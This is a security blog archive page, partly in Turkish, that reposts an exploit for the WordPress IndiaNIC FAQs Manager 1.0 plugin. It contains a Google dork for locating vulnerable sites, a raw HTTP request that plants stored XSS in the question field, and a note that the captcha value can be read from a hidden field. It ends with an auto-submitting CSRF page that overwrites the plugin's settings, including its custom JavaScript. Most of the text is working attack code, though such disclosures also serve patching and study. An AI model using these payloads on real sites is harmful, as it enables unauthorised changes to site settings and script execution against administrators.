Tag Archive for Wordpress IndiaNIC FAQ 1.0 CSRF Exploit

WordPress IndiaNIC FAQs Manager Plugin 1.0 – Multiple Vulnerabilities

WordPress IndiaNIC FAQs Manager Plugin 1.0 – Versiyonunda bulunan CSRF açığına ilişkin exploit aşağıdaki gibidir.

 <html> 
 <!--
# Exploit Title: WordPress IndiaNIC FAQ 1.0 Plugin CSRF   XSS
# Google Dork: inurl:wp-content/plugins/faqs-manager
# Date: 21.03.2013
# Exploit Author: m3tamantra (http://m3tamantra.wordpress.com/blog)
# Vendor Homepage: http://wordpress.org/extend/plugins/faqs-manager/
# Software Link: http://downloads.wordpress.org/plugin/faqs-manager.zip
# Version: 1.0
# Tested on: Apache/2.2.16 (Debian) PHP 5.3.3-7 squeeze14 with Suhosin-Patch (cli)


##############
# Description:
##############
# IndiaNIC FAQ Settings Page is vulnerable for CSRF.
# The Ask Question area (front-end) is vulnerable for XSS. It is possible to insert  <script> alert(1) </script>  in question parameter.
# The Captcha value can be read from captcha parameter (hidden field)
#



###################################
#### Part of Ask Question form ####
###################################
 <form action="" method="POST" name="iNICfaqsAskForm_1"> 
 <input type="hidden" value="1" name="group_id"> 
 <input type="hidden" value="1" name="from_user"> 
 <input type="hidden" value="inic_faq_questions" name="action"> 
 <input type="hidden" value="5540" name="captcha">     <=================== We don&#39;t need the captcha Image when we have this xD


####################################################################
#### Request from Ask Question area (XSS in question parameter) ####
####################################################################
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1:9001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1:9001/wordpress/?p=11
Content-Length: 143
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

group_id=1&from_user=1&action=inic_faq_questions&captcha=8560&who_asked=lalalallala@gmail.com&question=XSS TEST  <script> alert(1) </script> ?&captcha_code=8560

# When admin navigate to Question-Area (back-end) arbitrary JavaScript will execute.



#######################################################################
--> 
	 <title> Download </title> 
 <body> 

	 <!-- replace "127.0.0.1:9001/wordpress" --> 
	 <form action="http://127.0.0.1:9001/wordpress/wp-admin/admin-ajax.php" method="POST"> 
	 <input type="hidden" name="action" value="inic_faq_settings" /> 
	 <input type="hidden" name="alert_email_address" value="m3tamantra@127.0.0.1" /> 
	 <input type="hidden" name="capture_email" value="1" /> 
	 <input type="hidden" name="notify_when_answered" value="1" /> 
	 <input type="hidden" name="listing_template" value="lalalalalalalalalalalalal" /> 
	 <input type="hidden" name="custom_css" value="babaaaaaammmmmmmm" /> 
	 <input type="hidden" name="custom_js" value="alert(1234)" /> 
	 </form> 
	 <script> document.forms[0].submit(); </script> 

 </body> 
 </html>